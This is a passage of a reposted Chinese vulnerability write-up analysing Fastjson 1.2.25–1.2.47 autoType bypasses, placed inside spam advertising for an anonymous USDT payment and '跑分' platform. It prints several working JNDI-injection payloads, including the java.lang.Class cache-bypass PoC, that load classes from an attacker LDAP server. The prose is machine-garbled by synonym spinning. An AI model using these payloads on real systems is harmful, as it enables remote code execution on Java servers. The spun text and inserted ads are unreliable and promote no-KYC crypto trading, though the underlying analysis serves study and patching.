国内热点新闻

usdt自动充值(www.caibao.it):Fastjson 1.2.25-1.2.47反序列化破绽剖析

来源:申博官方网 发布时间:2021-01-27 浏览次数:

USDT第三方支付平台

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

checkAutoType补丁剖析

在Fastjson1.2.25中使用了checkAutoType来修复1.2.22-1.2.24中的破绽,其中有个autoTypeSupport默以为False。当autoTypeSupport为False时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当autoTypeSupport为True时,先白名单过滤,匹配乐成即可加载该类,否则再黑名单过滤。对于开启或者不开启,都有响应的绕过方式。

补丁绕过(需要开启AutoTypeSupport)

这里需要使用如下代码开启AutoTypeSupport

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

1.2.25-1.2.41补丁绕过

破绽复现

payload:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

调试剖析

可以看到在类名前面加了一个L,可以绕过黑名单

在checkAutoType内里举行了一系列获取clazz的操作

由于这个typeName是不存在的以是一直不能获取返回null,最后loadClass


跟进TypeUtils.loadClass

这里去除开头的L以及末尾的;获得newClassName然后loadClass,这样就绕过了CheckAutoType的检查

1.2.25-1.2.42补丁绕过

哈希黑名单

从1.2.42版本最先,在ParserConfig.java中可以看到黑名单改为了哈希黑名单,目的是防止对黑名单举行剖析绕过,现在已经破解出来的黑名单见:https://github.com/LeadroyaL/fastjson-blacklist

破绽复现

在1.2.22-1.2.42版本运行都能乐成触发

payload:

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

调试剖析

在CheckAutoType内里增加了一次对className的提取操作,以是我们再写一对L;来绕过黑名单

在TypeUtils.loadClass内里再举行一次提取操作,然则这里举行提取操作的是typeName

以是最后照样获得Lcom.sun.rowset.JdbcRowSetImpl;,那怎么加载的呢,调试发现程序会循环挪用自身的loadClass以获得正常的类

这样就可以正常的loadClass了

1.2.25-1.2.43补丁绕过

破绽复现

1.2.43在checkAutoType内里添加了如下代码,延续泛起两个L会抛出异常

以是就不能用L来绕过,注意到若是开头为[也会有对应操作,代码如下

实验一下如下payload

{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

有如下报错

Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:675)
    at com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze(ObjectArrayCodec.java:183)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:373)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)
    at com.alibaba.fastjson.JSON.parse(JSON.java:152)
    at com.alibaba.fastjson.JSON.parse(JSON.java:162)
    at com.alibaba.fastjson.JSON.parse(JSON.java:131)
    at NEW_JNDIClient.main(NEW_JNDIClient.java:8)

提醒说希望在42列处加一个[号,恰好谁人位置是第一个逗号,于是在前面添加一个[

payload如下

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[,"dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

现在报错如下

Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43
    at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:451)
    at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:1261)
    at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source)
    at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:267)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:729)
    at com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze(ObjectArrayCodec.java:183)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:373)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)
    at com.alibaba.fastjson.JSON.parse(JSON.java:152)
    at com.alibaba.fastjson.JSON.parse(JSON.java:162)
    at com.alibaba.fastjson.JSON.parse(JSON.java:131)
    at NEW_JNDIClient.main(NEW_JNDIClient.java:8)

报错说希望在43列有一个{,那么就在[后加一个{

payload如下

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

乐成触发破绽

破绽剖析

进入当开头为[的判断

通过Array.newInstance().getClass()来获取并返回类

,

Usdt第三方支付接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

然后挪用ObjectDeserializer,deserialze

然后挪用parseArray对数组举行处置,这里也就是上面报错泛起的地方

其中的if语句会判断字符串内里是否有[和{符号等,逐一知足就行

1.2.25-1.2.45补丁绕过

破绽行使

需要目的服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本

payload:

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/badNameClass"}}

破绽剖析

可以发现checkAutoType中添加了针对[的检测,若是第一个字符为[直接抛出异常

由于org.apache.ibatis.datasource.jndi.JndiDataSourceFactory不在黑名单中,以是直接能绕过checkAutoType的检测

看看setter方式

可以看到lookup内里的值是通过我们传入的data_source获得了以是造成了JNDI注入

为什么不开启AutoTypeSupport不行

由于在checkAutoType内里有如下判断

若是不开启就不会通过这个判断从而抛出异常

补丁绕过(不需要开启AutoTypeSupport)

1.2.25-1.2.47通杀

破绽复现

破绽原理是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测

这里有两个版本段:

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能乐成行使,开启AutoTypeSupport不能行使
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能乐成行使

poc:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:1389/badNameClass",
        "autoCommit":true
    }
}

这里使用1.2.47复现

破绽剖析

不受AutoTypeSupport影响的版本

未开启AutoTypeSupport时

由于未开启AutoTypeSupport,以是就不会进入是非名单判断的逻辑

由于type的值是java.lang.Class,以是在findClass可以找到,最后返回clazz,接着会进入MiscCodec,deserialze,直接到最要害的地方

这里使用了TypeUtils.loadClass函数加载了strVal,也就是JdbcRowSetlmpl,跟进发现会将其缓存在map中

第二次剖析时挪用TypeUtils.getClassFromMapping()时能够乐成从Map中获取到缓存的类,然后return返回从而乐成绕过checkAutoType()检测

开启AutoTypeSupport时

由于开启了AutoTypeSupport,以是会举行是非名单判断,而第一次剖析时@type值为java.lang.Class以是都能通过,最后通过findClass函数获取到Class类

第二次剖析时@type值就成了com.sun.rowset.JdbcRowSetImpl,那怎么绕过是非名单的呢,黑名单克制了com.sun

是非名单判断的逻辑是先举行白名单再举行黑名单校验,在黑名单校验的if判断条件中是存在两个必须同时知足的条件的:

if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null)

第一个判断条件Arrays.binarySearch(denyHashCodes, hash) >= 0是知足的,由于我们的@type包含了黑名单的内容;要害在于第二个判断条件TypeUtils.getClassFromMapping(typeName) == null,这里由于前面已经将com.sun.rowset.JdbcRowSetImpl类缓存在Map中了,也就是说该条件并不知足,导致能够乐成绕过黑名单校验、乐成触发破绽。

受AutoTypeSupport影响的版本

开启AutoTypeSupport时

逻辑和上面不受AutoTypeSupport影响的版本开启AutoTypeSupport时一样,就是黑名单判断逻辑内里少了一个TypeUtils.getClassFromMapping(typeName) == null导致可以进入黑名单判断,由于com.sun属于黑名单内里的内容,以是行使失败

未开启AutoTypeSupport时

和上面不受影响版本未开启AutoTypeSupport时差不多

1.2.48补丁剖析

在loadClass时,将缓存开关默认设置为False,以是就不会通过缓存的判断。同时将Class类加入黑名单

参考文档

https://www.mi1k7ea.com/2019/11/10/Fastjson系列三——历史版本补丁绕过(需开启AutoType)/

https://p0rz9.github.io/2019/07/15/Fastjson新版本分析/

发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 验证码:点击我更换图片